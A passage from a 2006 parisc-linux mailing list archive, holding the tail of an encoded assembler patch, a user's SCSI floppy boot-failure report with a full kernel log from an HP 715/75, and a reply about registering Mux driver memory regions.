bmNsdWRlICJiZmQvc29tLmgiDQotI2RlZmluZSBUQVJHRVRfRk9STUFUICJzb20iDQogI2VuZGlm
DQogDQorI2RlZmluZSBUQVJHRVRfRk9STUFUIGhwcGFfdGFyZ2V0X2Zvcm1hdCgpDQorZXh0ZXJu
IGNvbnN0IGNoYXIgKmhwcGFfdGFyZ2V0X2Zvcm1hdCAodm9pZCk7DQorDQordm9pZCBocHBhX3By
aW50X3N0YXRpc3RpY3MgKEZJTEUgKik7DQorI2RlZmluZSB0Y19wcmludF9zdGF0aXN0aWNzIGhw
cGFfcHJpbnRfc3RhdGlzdGljcw0KKw0KICNpZiBkZWZpbmVkKFRFX0xJTlVYKSB8fCBkZWZpbmVk
KFRFX05ldEJTRCkNCiAvKiBEZWZpbmUgdG8gY29tcGlsZSBpbiBhbiBleHRyYSBhc3NlbWJsZXIg
b3B0aW9uLCAtYywgd2hpY2ggZW5hYmxlcyBhDQogICAgd2FybmluZyAob25jZSBwZXIgZmlsZSkg
d2hlbiBhIGNvbW1lbnQgaXMgZW5jb3VudGVyZWQuDQpAQCAtODEsMTIgKzkyLDYgQEANCiAjZGVm
aW5lIFdBUk5fQ09NTUVOVFMgMQ0KICNlbmRpZg0KIA0KLS8qIEZJWE1FLiAgV2h5IG9oIHdoeSBh
cmVuJ3QgdGhlc2UgZGVmaW5lZCBzb21ld2hlcmUgZ2xvYmFsbHk/ICAqLw0KLSNpZm5kZWYgRkFM
U0UNCi0jZGVmaW5lIEZBTFNFICAgKDApDQotI2RlZmluZSBUUlVFICAgICghRkFMU0UpDQotI2Vu
ZGlmDQotDQogI2RlZmluZSBBU0VDX05VTEwgKGFzZWN0aW9uICopMA0KIA0KIC8qIHBhX2RlZmlu
ZV9sYWJlbCBnZXRzIHVzZWQgb3V0c2lkZSBvZiB0Yy1ocHBhLmMgdmlhIHRjX2Zyb2JfbGFiZWwu
ICAqLw0K


--=-ZlgVQWVdn4A3TnbFUveG--

--=-8htulhJm8nQ8z/Gca1F1
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: Ceci est une partie de message
	=?ISO-8859-1?Q?num=E9riquement?= =?ISO-8859-1?Q?_sign=E9e?=

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (GNU/Linux)

iD8DBQBFO6gW5M5hmdCYCpkRAp+QAKCBTHtcYkAkHP12k2fc1XOti6tcUwCgivry
o2HyQuQhV6wRniKxGqH7YYM=
=WT86
-----END PGP SIGNATURE-----

--=-8htulhJm8nQ8z/Gca1F1--


--===============0894032117==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0894032117==--




From - Thu Nov 08 21:35:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Troy Nelson <tnelson@scires.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Floppy Drive problem on 715/75
Date: Thu, 26 Oct 2006 15:12:43 -0400
Lines: 282
Approved: news@gmane.org
Message-ID: <454108AB.7060503@scires.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624201 21449 80.91.229.3 (22 Nov 2014 02:43:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Oct 2006 16:17:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx025) with SMTP; 27 Oct 2006 18:17:40 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5CB6F7D8C1;
	Fri, 27 Oct 2006 10:17:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01177-02; Fri, 27 Oct 2006 10:17:35 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 773CF7D8CC;
	Fri, 27 Oct 2006 10:17:32 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 57E257D40A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Oct 2006 13:11:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14528-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Oct 2006 13:11:48 -0600 (MDT)
Original-Received: from mail.scires.com (mail.scires.com [64.16.131.4])
	by free.linux.hp.com (Postfix) with ESMTP id B48897D408
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Oct 2006 13:11:47 -0600 (MDT)
Original-Received: from [192.168.2.131] (523.chs.spawar.navy.mil [150.125.116.2])
	by mail.scires.com with ESMTP; Thu, 26 Oct 2006 15:10:49 -0400
User-Agent: Thunderbird 1.5 (X11/20060313)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: EwNwdqBAPTRtDujGPjIwDbgxc2tpZIvV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24045

Greetings! When boot I get the following boot message below. In short my 
sda which is my scsi floppy drive is trying to send up but fails. This 
happens a couple of times then times out and continues to boot. Once 
logged into the system I can't mount my floppy. If i trying to mount it, it
just hangs until i remove the disk. Any help would be appreciated!

Linux version 2.6.17.10-pa6 (root@PALINUX) (gcc version 3.3.5 (Gentoo 
3.3.5-r1, pie-8.7.7.1)) #2 Thu Oct 26 13:50:13 EST 2006
FP[0] enabled: Rev 1 Model 9
The 32-bit Kernel has started...
Initialized PDC Console for debugging.
Determining PDC firmware type: Snake.
model 00003160 00000481 00000000 00000000 77bbccf4 ffffffff 00000004 
0000000a 0000000a
vers  00000013
model 9000/715
Total Memory: 64 MB
On node 0 totalpages: 16384
  DMA zone: 16384 pages, LIFO batch:3
Built 1 zonelists
Kernel command line:  root=/dev/sdb4 console=tty0 sti=0 sti_font=VGA8x16 
palo_kernel=2/vmlinux
PID hash table entries: 512 (order: 9, 2048 bytes)
Console: colour dummy device 128x48
Dentry cache hash table entries: 8192 (order: 3, 32768 bytes)
Inode-cache hash table entries: 4096 (order: 2, 16384 bytes)
Memory: 65536k available
Calibrating delay loop... 74.75 BogoMIPS (lpj=373760)
Mount-cache hash table entries: 512
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. Stinger Optional Graphics at 0xf4000000 [0] { 10, 0x0, 0x006, 0x00077 }
2. Scorpio Sr. Core BA at 0xf082f000 [2] { 11, 0x0, 0x019, 0x00070 }
3. Scorpio Sr. Core SCSI at 0xf0825000 [2/0/1] { 10, 0x0, 0x019, 0x00071 }
4. Scorpio Sr. Core LAN (802.3) at 0xf0826000 [2/0/2] { 10, 0x0, 0x019, 
0x00072 }
5. Scorpio Sr. Core HIL at 0xf0821000 [2/0/3] { 10, 0x0, 0x019, 0x00073 }
6. Scorpio Sr. Core RS-232 at 0xf0823000 [2/0/4] { 10, 0x0, 0x019, 0x00075 }
7. Scorpio Sr. Core RS-232 at 0xf0822000 [2/0/5] { 10, 0x0, 0x019, 0x00075 }
8. Scorpio Sr. Core Centronics at 0xf0824000 [2/0/6] { 10, 0x0, 0x019, 
0x00074 }
9. Scorpio Sr. Audio at 0xf1000000 [2/0/8] { 10, 0x0, 0x019, 0x0007b }
10. Scorpio Sr. EISA BA at 0xfc000000 [4] { 11, 0x0, 0x019, 0x00076 }
11. Scorpio Sr.(715/75) at 0xfffbe000 [8] { 0, 0x0, 0x316, 0x00004 }
12. Memory at 0xfffbf000 [9] { 1, 0x0, 0x027, 0x00009 }
Enabling regular chassis codes support v0.05
CPU(s): 1 x PA7100 (PCX-T) at 75.000000 MHz
Whole cache flush 233043 cycles, flushing 6168576 bytes 686816 cycles
Setting cache flush threshold to 1140 (1 CPUs online)
Asp version 1 at 0xf082f000 found.
LED (ASP-style) display at f0800020 registered
Mongoose EISA Adapter found at 0xfc000000
Enumerating EISA bus
EISA slot 1: HWP1850 EISA IRQ 10
EISA: Probing bus 0 at 4
EISA: Mainboard HWPC000 detected.
EISA: slot 1 : HWP1850 detected.
EISA: Detected 1 card.
SCSI subsystem initialized
usbcore: registered new driver usbfs
usbcore: registered new driver hub
NET: Registered protocol family 2
IP route cache hash table entries: 512 (order: -1, 2048 bytes)
TCP established hash table entries: 2048 (order: 1, 8192 bytes)
TCP bind hash table entries: 1024 (order: 0, 4096 bytes)
TCP: Hash tables configured (established 2048 bind 1024)
TCP reno registered
Chassis warnings not supported.
unwind_init: start = 0x10502680, end = 0x105416d0, entries = 16133
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
Initializing Cryptographic API
io scheduler noop registered
io scheduler anticipatory registered (default)
io scheduler deadline registered
io scheduler cfq registered
pci_hotplug: PCI Hot Plug PCI Core version: 0.5
EISA EEPROM at 0x00008400
PDC Stable Storage facility v0.30
Soft power switch support not available.
STI GSC/PCI core graphics driver Version 0.9a
    id 27f12392-40a00499, conforms to spec rev. 8.02
    graphics card name: HPA1991AC19
sticon: Initializing STI text console.
Console: switching to colour STI console 160x64
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-8 frame buffer device, HPA1991AC19, id: 27f12392, 
mmio: 0xf4100000
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 4 ports, IRQ sharing enabled
2:0:4: ttyS0 at MMIO 0xf0823800 (irq = 20) is a 16550A
2:0:5: ttyS1 at MMIO 0xf0822800 (irq = 21) is a 16550A
parport_init_chip: enhanced parport-modes not supported.
parport0: PC-style at 0xf0824800, irq 22 [PCSPP]
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
loop: loaded (max 8 devices)
usbcore: registered new driver ub
LASI 82596 driver - Revision: 1.30
Found i82596 at 0xf0826000, IRQ 17
drivers/net/lasi_82596.c: MAC of HP700 LAN read from EEPROM
eth0: 82596 at 0xf0826000, 08 00 09 4F 83 68 IRQ 17.
orinoco 0.15rc3 (David Gibson <hermes@gibson.dropbear.id.au>, Pavel 
Roskin <proski@gnu.org>, et al)
orinoco_cs 0.15rc3 (David Gibson <hermes@gibson.dropbear.id.au>, Pavel 
Roskin <proski@gnu.org>, et al)
spectrum_cs 0.15rc3 (Pavel Roskin <proski@gnu.org>, David Gibson 
<hermes@gibson.dropbear.id.au>, et al)
Uniform Multi-Platform E-IDE driver Revision: 7.00alpha2
ide: Assuming 50MHz system bus speed for PIO modes; override with idebus=xx
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi0: 53c700 rev 0
scsi0 : LASI SCSI 53c700
st: Version 20050830, fixed bufsize 32768, s/g segs 256
SCSI Media Changer driver v0.25
usbmon: debugfs is not available
ohci_hcd: 2005 April 22 USB 1.1 'Open' Host Controller (OHCI) Driver (PCI)
USB Universal Host Controller Interface driver v3.0
sl811: driver sl811-hcd, 19 May 2005
Initializing USB Mass Storage driver...
usbcore: registered new driver usb-storage
USB Mass Storage support registered.
usbcore: registered new driver usbhid
drivers/usb/input/hid-core.c: v2.6:USB HID core driver
  Vendor: TEAC      Model: FC-1     HF   07  Rev: RV B
  Type:   Direct-Access                      ANSI SCSI revision: 01 CCS
HP SDC: HP SDC at 0xf0821000, IRQ 18 (NMI IRQ 19)
HP SDC: New style SDC
HP SDC: Revision: 1820-4784
HP SDC: TI SN76494 beeper present
HP SDC: OKI MSM-58321 BBRTC present
HP SDC: Spunking the self test register to force PUP on next firmware reset.
HP SDC MLC: Registering the System Domain Controller's HIL MLC.
  Vendor: TOSHIBA   Model: CD-ROM XM-5401TA  Rev: 1036
  Type:   CD-ROM                             ANSI SCSI revision: 02
mice: PS/2 mouse device common for all mice
hil_kbd: probe of serio0 failed with error -5
hil_kbd: probe of serio1 failed with error -5
hil_kbd: probe of serio2 failed with error -5
hil_kbd: probe of serio3 failed with error -5
hil_kbd: probe of serio4 failed with error -5
hil_kbd: probe of serio5 failed with error -5
hil_kbd: probe of serio6 failed with error -5
hil_kbd: probe of serio7 failed with error -5
hil_kbd: probe of serio8 failed with error -5
hil_kbd: probe of serio9 failed with error -5
hil_kbd: probe of serio10 failed with error -5
hil_kbd: probe of serio11 failed with error -5
hil_kbd: probe of serio12 failed with error -5
hil_kbd: probe of serio13 failed with error -5
hil_kbd: probe of serio14 failed with error -5
hil_kbd: probe of serio15 failed with error -5
md: linear personality registered for level -1
md: raid0 personality registered for level 0
md: raid1 personality registered for level 1
md: raid10 personality registered for level 10
md: raid5 personality registered for level 5
md: raid4 personality registered for level 4
raid5: measuring checksumming speed
   8regs     :    52.000 MB/sec
   8regs_prefetch:    55.600 MB/sec
   32regs    :    63.600 MB/sec
   32regs_prefetch:    67.200 MB/sec
raid5: using function: 32regs_prefetch (67.200 MB/sec)
raid6: int32x1     14 MB/s
raid6: int32x2     17 MB/s
raid6: int32x4     20 MB/s
raid6: int32x8     17 MB/s
raid6: using algorithm int32x4 (20 MB/s)
md: raid6 personality registered for level 6
md: md driver 0.90.3 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: bitmap version 4.39
device-mapper: 4.6.0-ioctl (2006-02-17) initialised: dm-devel@redhat.com
Advanced Linux Sound Architecture Driver Version 1.0.11rc4 (Wed Mar 22 
10:27:24 2006 UTC).
  Vendor: SEAGATE   Model: ST32151N          Rev: HP02
  Type:   Direct-Access                      ANSI SCSI revision: 02
harmony: cannot allocate graveyard buffer!
harmony: probe of 2:0:8 failed with error -12
ALSA device list:
  No soundcards found.
TCP bic registered
NET: Registered protocol family 1
NET: Registered protocol family 10
IPv6 over IPv4 tunneling driver
NET: Registered protocol family 17
scsi: waiting for bus probes to complete ...
sda: Spinning up 
disk................................................................<6>HIL 
KEYB: HIL keyboard found (did = 0xdf, lang = english.us)
input: HIL keyboard as /class/input/input0
input: HIL keyboard, ID: 223
hil_kbd: probe of serio1 failed with error -5
..............................not responding...
sda : READ CAPACITY failed.
sda : status=1, message=00, host=0, driver=08
sd: Current: sense key=0x2
    ASC=0x4 ASCQ=0x0
sda: Write Protect is on
sda: Mode Sense: 37 88 80 08
sda: cache data unavailable
sda: assuming drive cache: write through
sda: Spinning up disk.........ready
SCSI device sda: 5120 256-byte hdwr sectors (1 MB)
sda: Write Protect is off
sda: Mode Sense: 37 88 00 08
sda: cache data unavailable
sda: assuming drive cache: write through
SCSI device sda: 5120 256-byte hdwr sectors (1 MB)
sda: Write Protect is off
sda: Mode Sense: 37 88 00 08
sda: cache data unavailable
sda: assuming drive cache: write through
 sda:<6>sd 0:0:2:0: Device not ready: <6>: Current: sense key=0x2
    ASC=0x1 ASCQ=0x0
end_request: I/O error, dev sda, sector 0
sd 0:0:2:0: Device not ready: <6>: Current: sense key=0x2
    ASC=0x4 ASCQ=0x0
end_request: I/O error, dev sda, sector 4
sd 0:0:2:0: Device not ready: <6>: Current: sense key=0x2
    ASC=0x4 ASCQ=0x0
end_request: I/O error, dev sda, sector 6
sd 0:0:2:0: Device not ready: <6>: Current: sense key=0x2
    ASC=0x4 ASCQ=0x0
end_request: I/O error, dev sda, sector 7
sd 0:0:2:0: Device not ready: <6>: Current: sense key=0x2
    ASC=0x4 ASCQ=0x0
end_request: I/O error, dev sda, sector 7
Buffer I/O error on device sda, logical block 0
sd 0:0:2:0: Device not ready: <6>: Current: sense key=0x2
    ASC=0x4 ASCQ=0x0
end_request: I/O error, dev sda, sector 0
sd 0:0:2:0: Device not ready: <6>: Current: sense key=0x2
    ASC=0x4 ASCQ=0x0
end_request: I/O error, dev sda, sector 4
sd 0:0:2:0: Device not ready: <6>: Current: sense key=0x2
    ASC=0x4 ASCQ=0x0
end_request: I/O error, dev sda, sector 6
sd 0:0:2:0: Device not ready: <6>: Current: sense key=0x2
    ASC=0x4 ASCQ=0x0
end_request: I/O error, dev sda, sector 7
sd 0:0:2:0: Device not ready: <6>: Current: sense key=0x2
    ASC=0x4 ASCQ=0x0
end_request: I/O error, dev sda, sector 7
Buffer I/O error on device sda, logical block 0
 unable to read partition table
sd 0:0:2:0: Attached scsi removable disk sda
sd 0:0:2:0: Attached scsi generic sg0 type 0
sr0: scsi-1 drive
Uniform CD-ROM driver Revision: 3.20
sr 0:0:4:0: Attached scsi CD-ROM sr0
sr 0:0:4:0: Attached scsi generic sg1 type 5
sd 0:0:6:0: Enabling Tag Command Queuing
SCSI device sdb: 4194685 512-byte hdwr sectors (2148 MB)
sdb: Write Protect is off
sdb: Mode Sense: 87 00 10 08
SCSI device sdb: drive cache: write back w/ FUA
SCSI device sdb: 4194685 512-byte hdwr sectors (2148 MB)
sdb: Write Protect is off
sdb: Mode Sense: 87 00 10 08
SCSI device sdb: drive cache: write back w/ FUA
 sdb: sdb1 sdb2 sdb3 sdb4
sd 0:0:6:0: Attached scsi disk sdb
sd 0:0:6:0: Attached scsi generic sg2 type 0
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: 376k freed
Adding 267924k swap on /dev/sdb3.  Priority:-1 extents:1 across:267924k
EXT3 FS on sdb4, internal journal
eth0: link ok.
eth0: no IPv6 routers present

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ryan Bradetich" <rbradetich@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mux Updates.
Date: Sun, 22 Oct 2006 10:20:57 -0700
Lines: 276
Approved: news@gmane.org
Message-ID: <e739902b0610221020h4843e5f2x3ca44a273bea47f@mail.gmail.com>
References: <e739902b0610192236u61d76952l942d4f9caac066c6@mail.gmail.com>
	<20061020060335.GT2602@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1421529437=="
X-Trace: ger.gmane.org 1416624201 21451 80.91.229.3 (22 Nov 2014 02:43:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Oct 2006 15:36:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx086) with SMTP; 27 Oct 2006 17:36:20 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0EEA27D40A;
	Fri, 27 Oct 2006 09:36:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29374-05; Fri, 27 Oct 2006 09:36:02 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D5FCA7D611;
	Fri, 27 Oct 2006 09:35:37 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B90D07D717
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Oct 2006 11:20:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03388-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Oct 2006 11:20:58 -0600 (MDT)
Original-Received: from wx-out-0506.google.com (wx-out-0506.google.com [66.249.82.234])
	by free.linux.hp.com (Postfix) with ESMTP id 58D3D7D715
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Oct 2006 11:20:58 -0600 (MDT)
Original-Received: by wx-out-0506.google.com with SMTP id t14so1607469wxc
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Oct 2006 10:20:57 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:references;
	b=Aj4J4wCdxH56TqwHZ1EG53BFljlpmhN6lNs94lLIJwMSDm+XuAX+NH7FOKBTy4u72e5uzKb5/YL7KzWoEDi1oathdNc4hkQHMPs7eHCpNtyljUCPp/KMaaGY3tTGm0bF/b9L1IJPlKUXPxrjcKjFyLe3HDDDg2nACOCGhbzORQ8=
Original-Received: by 10.90.78.1 with SMTP id a1mr1781370agb;
	Sun, 22 Oct 2006 10:20:57 -0700 (PDT)
Original-Received: by 10.90.53.10 with HTTP; Sun, 22 Oct 2006 10:20:57 -0700 (PDT)
In-Reply-To: <20061020060335.GT2602@parisc-linux.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RBVkbbnQLi5nE/fRZWtp1gRjZml1ZFij
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24046

--===============1421529437==
Content-Type: multipart/alternative; 
	boundary="----=_Part_96863_596061.1161537657460"

------=_Part_96863_596061.1161537657460
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Willy,

On 10/19/06, Matthew Wilcox <matthew@wil.cx> wrote:
>
> This one actually worries me.
>
> However, we're saved by the HVERSION_REV.  I think this will work:
>
> static struct parisc_device_id hppb_tbl[] = {
>          { HPHW_BCPORT, HVERSION_REV_ANY_ID, 0x500, 0xc }, /* E25 and K */
> +        { HPHW_BCPORT, 0x0, 0x501, 0xc }, /* E35 */
> +        { HPHW_BCPORT, 0x0, 0x502, 0xc }, /* E45 */
> +        { HPHW_BCPORT, 0x0, 0x503, 0xc }, /* E55 */
>          { 0, }
> };


I updated my patch to use this mapping instead.  Thanks!.

> +        mmio_region.name = "Mux";
> > +        mmio_region.flags = IORESOURCE_MEM;
> > +        mmio_region.start = dev->hpa.start + MUX_OFFSET;
> > +        mmio_region.end = dev->hpa.start + MUX_OFFSET + (ports *
> MUX_LINE_OFFSET) - 1;
> > +        insert_resource(&iomem_resource, &mmio_region);
>
> If you want to go this way, you want IORESOURCE_BUSY on the flags, but
> you don't need to do that.  Just:
>
>         request_mem_region(dev->hpa.start + MUX_OFFSET,
>                                 ports * MUX_LINE_OFFSET, "Mux");


I changed the Mux to use this, but it did not work as expected:

Here are the relevant lines from the boot messages:

Enabling regular chassis codes support v0.05

CPU(s): 1 x PA7100LC (PCX-L) at 64.000000MHz
Setting cache flush threshold to 9e0 (1 CPUs
online)
Lasi version 0 at 0xf0100000
found.
LED display at f010c000
registered
Found GeckoBoa at
0xfffb8000

drivers/parisc/hppb.c: failed to claim HP-PB bus space (fff00000,
fff7ffff)


Here are the relevant lines from /proc/iomem:

f0100000-f0100fff :
60

f0107000-f0107fff :
60:6

f010c000-f010c000 :
led_data

fff74000-fff74fff :
56:52

fff75000-fff75fff :
56:53

fff78000-fff78fff :
56:56

  fff78800-fff78fff :
Mux
fff7c000-fff7cfff : 56:60


My understanding of the error message indicates that since Lasi and the LEDS
already reserved portions of the space
HP-PB wants, it caused the resource failure.   This has me a bit confused on
how the bus walk code works ... I thought the probe function on the parent
device should have been called before the probe function on any of the
children ... so it seem the Gecko Boa should probe function should have been
called before the LASI and LED probe functions.

Still looking into why this happens, but hints are welcome :)


You also need to unregister your region here:
>
>         release_mem_region(dev->hpa.start + MUX_OFFSET,
>                                 ports * MUX_LINE_OFFSET);


Thanks for the reminder.  I had to re-work this a bit since we didn't have
the dev and ports variable in this function.  I am
working on expanding this to handle multiple Mux cards as well.


Thanks for your feedback,

 - Ryan

------=_Part_96863_596061.1161537657460
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

Willy,<br><br>On 10/19/06, <b class=3D"gmail_sendername">Matthew Wilcox</b>=
 &lt;<a href=3D"mailto:matthew@wil.cx" target=3D"_blank" onclick=3D"return =
top.js.OpenExtLink(window,event,this)">matthew@wil.cx</a>&gt; wrote:<div><s=
pan class=3D"gmail_quote">
</span><blockquote class=3D"gmail_quote" style=3D"border-left: 1px solid rg=
b(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;">This one a=
ctually worries me.<br><br>However, we're saved by the HVERSION_REV.&nbsp;&=
nbsp;I think this will work:
<br><br> static struct parisc_device_id hppb_tbl[] =3D {<br>&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { HPHW_BCPORT, HVERSION_REV_ANY_ID, 0x500=
, 0xc }, /* E25 and K */<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;{ HPHW_BCPORT, 0x0, 0x501, 0xc }, /* E35 */<br>+&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;{ HPHW_BCPORT, 0x0, 0x502, 0xc }, /* E45 */
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ HPHW_BCPORT, 0x0, 0x=
503, 0xc }, /* E55 */<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {=
 0, }<br> };</blockquote><div><br>I updated my patch to use this mapping in=
stead.&nbsp; Thanks!.<br><br></div><blockquote class=3D"gmail_quote" style=
=3D"border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; p=
adding-left: 1ex;">

&gt; +&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mmio_region.name =3D =
&quot;Mux&quot;;<br>&gt; +&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m=
